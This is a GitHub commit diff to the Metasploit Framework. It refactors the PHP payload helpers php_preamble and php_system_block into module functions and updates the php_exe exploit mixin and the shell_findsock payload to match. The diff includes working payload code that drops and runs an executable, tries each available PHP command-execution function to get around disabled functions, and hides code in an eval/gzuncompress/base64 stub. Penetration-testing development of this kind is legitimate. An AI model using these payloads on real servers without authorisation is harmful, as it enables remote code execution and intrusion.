Skip to content

Commit 1705cb7

Browse files
committed
Define the system_block module function
1 parent a25bd39 commit 1705cb7

File tree

3 files changed

+55
-37
lines changed

3 files changed

+55
-37
lines changed

lib/msf/core/exploit/php_exe.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -49,15 +49,17 @@ def get_write_exec_payload(opts={})
4949
print_warning("Unable to clean up #{bin_name}, delete it manually")
5050
end
5151
p = Rex::Text.encode_base64(generate_payload_exe)
52+
vars = Rex::RandomIdentifier::Generator.new
53+
dis = "$#{vars[:dis]}"
5254
php = %Q{
53-
#{php_preamble}
55+
#{php_preamble(disabled_varname: dis)}
5456
$ex = "#{bin_name}";
5557
$f = fopen($ex, "wb");
5658
fwrite($f, base64_decode("#{p}"));
5759
fclose($f);
5860
chmod($ex, 0777);
5961
function my_cmd($cmd) {
60-
#{php_system_block};
62+
#{php_system_block(disabled_varname: dis)};
6163
}
6264
if (FALSE === strpos(strtolower(PHP_OS), 'win' )) {
6365
my_cmd($ex . "&");

lib/msf/core/payload/php.rb

Lines changed: 44 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -16,15 +16,14 @@ module Msf::Payload::Php
1616
#
1717
# @return [String] A chunk of PHP code
1818
#
19-
def php_preamble(options = {})
19+
def self.preamble(options = {})
2020
dis = options[:disabled_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
2121
dis = '$' + dis if (dis[0,1] != '$')
2222

23-
@dis = dis
24-
2523
# Canonicalize the list of disabled functions to facilitate choosing a
2624
# system-like function later.
27-
preamble = "/*<?php /**/
25+
<<~TEXT
26+
/*<?php /**/
2827
@error_reporting(0);@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);
2928
#{dis}=@ini_get('disable_functions');
3029
if(!empty(#{dis})){
@@ -34,8 +33,11 @@ def php_preamble(options = {})
3433
}else{
3534
#{dis}=array();
3635
}
37-
"
38-
return preamble
36+
TEXT
37+
end
38+
39+
def php_preamble(options = {})
40+
Msf::Payload::Php.preamble(options)
3941
end
4042

4143
#
@@ -52,63 +54,70 @@ def php_preamble(options = {})
5254
# @return [String] A chunk of PHP code that, with a little luck, will run a
5355
# command.
5456
#
55-
def php_system_block(options = {})
57+
def self.system_block(options = {})
5658
cmd = options[:cmd_varname] || '$cmd'
57-
dis = options[:disabled_varname] || @dis || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
59+
dis = options[:disabled_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
5860
output = options[:output_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
5961

60-
if (@dis.nil?)
61-
@dis = dis
62-
end
63-
6462
cmd = '$' + cmd if (cmd[0,1] != '$')
6563
dis = '$' + dis if (dis[0,1] != '$')
6664
output = '$' + output if (output[0,1] != '$')
6765

6866
is_callable = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
6967
in_array = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
7068

71-
setup = "
69+
setup = ''
70+
if options[:cmd]
71+
setup << <<~TEXT
72+
#{cmd}=gzuncompress(base64_decode('#{Rex::Text.encode_base64(Rex::Text.zlib_deflate(options[:cmd]))}'));
73+
TEXT
74+
end
75+
setup << <<~TEXT
7276
if (FALSE!==stristr(PHP_OS,'win')){
7377
#{cmd}=#{cmd}.\" 2>&1\\n\";
7478
}
7579
#{is_callable}='is_callable';
7680
#{in_array}='in_array';
77-
"
78-
shell_exec = "
81+
TEXT
82+
shell_exec = <<~TEXT
7983
if(#{is_callable}('shell_exec')&&!#{in_array}('shell_exec',#{dis})){
8084
#{output}=`#{cmd}`;
81-
}else"
82-
passthru = "
85+
}else
86+
TEXT
87+
passthru = <<~TEXT
8388
if(#{is_callable}('passthru')&&!#{in_array}('passthru',#{dis})){
8489
ob_start();
8590
passthru(#{cmd});
8691
#{output}=ob_get_contents();
8792
ob_end_clean();
88-
}else"
89-
system = "
93+
}else
94+
TEXT
95+
system = <<~TEXT
9096
if(#{is_callable}('system')&&!#{in_array}('system',#{dis})){
9197
ob_start();
9298
system(#{cmd});
9399
#{output}=ob_get_contents();
94100
ob_end_clean();
95-
}else"
96-
exec = "
101+
}else
102+
TEXT
103+
exec = <<~TEXT
97104
if(#{is_callable}('exec')&&!#{in_array}('exec',#{dis})){
98105
#{output}=array();
99106
exec(#{cmd},#{output});
100107
#{output}=join(chr(10),#{output}).chr(10);
101-
}else"
102-
proc_open = "
108+
}else
109+
TEXT
110+
proc_open = <<~TEXT
103111
if(#{is_callable}('proc_open')&&!#{in_array}('proc_open',#{dis})){
104112
$handle=proc_open(#{cmd},array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
105113
#{output}=NULL;
106114
while(!feof($pipes[1])){
107115
#{output}.=fread($pipes[1],1024);
108116
}
109117
@proc_close($handle);
110-
}else"
111-
popen = "
118+
}else
119+
TEXT
120+
popen = <<~TEXT
112121
if(#{is_callable}('popen')&&!#{in_array}('popen',#{dis})){
113122
$fp=popen(#{cmd},'r');
114123
#{output}=NULL;
@@ -118,7 +127,8 @@ def php_system_block(options = {})
118127
}
119128
}
120129
@pclose($fp);
121-
}else"
130+
}else
131+
TEXT
122132
# Currently unused until we can figure out how to get output with COM
123133
# objects (which are not subject to safe mode restrictions) instead of
124134
# PHP functions.
@@ -128,21 +138,25 @@ def php_system_block(options = {})
128138
# $wscript->run(#{cmd} . ' > %TEMP%\\out.txt');
129139
# #{output} = file_get_contents('%TEMP%\\out.txt');
130140
# }else"
131-
fail_block = "
141+
fail_block = <<~TEXT
132142
{
133143
#{output}=0;
134144
}
135-
"
145+
TEXT
136146

137147
exec_methods = [passthru, shell_exec, system, exec, proc_open, popen]
138148
exec_methods = exec_methods.shuffle
139149
setup + exec_methods.join("") + fail_block
140150
end
141151

142-
def self.create_exec_stub(php_code, wrap_in_tags: true)
152+
def php_system_block(options = {})
153+
Msf::Payload::Php.system_block(options)
154+
end
155+
156+
def self.create_exec_stub(php_code, options = {})
143157
payload = Rex::Text.encode_base64(Rex::Text.zlib_deflate(php_code))
144158
b64_stub = "eval(gzuncompress(base64_decode('#{payload}')));"
145-
b64_stub = "<?php #{b64_stub} ?>" if wrap_in_tags
159+
b64_stub = "<?php #{b64_stub} ?>" if options.fetch(:wrap_in_tags, true)
146160
b64_stub
147161
end
148162

modules/payloads/singles/php/shell_findsock.rb

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -40,16 +40,18 @@ def initialize(info = {})
4040
end
4141

4242
def php_findsock
43-
var_cmd = '$' + Rex::Text.rand_text_alpha(6..9)
44-
var_fd = '$' + Rex::Text.rand_text_alpha(6..9)
45-
var_out = '$' + Rex::Text.rand_text_alpha(6..9)
43+
vars = Rex::RandomIdentifier::Generator.new
44+
var_cmd = '$' + vars[:var_cmd]
45+
var_fd = '$' + vars[:var_fd]
46+
var_out = '$' + vars[:var_out]
47+
var_dis = '$' + vars[:var_dis]
4648
shell = <<~END_OF_PHP_CODE
47-
#{php_preamble}
49+
#{php_preamble(disabled_varname: var_dis)}
4850
print("<html><body>");
4951
flush();
5052
5153
function mysystem(#{var_cmd}){
52-
#{php_system_block(cmd_varname: var_cmd, output_varname: var_out)}
54+
#{php_system_block(disabled_varname: var_dis, cmd_varname: var_cmd, output_varname: var_out)}
5355
return #{var_out};
5456
}
5557

0 commit comments

Comments
 (0)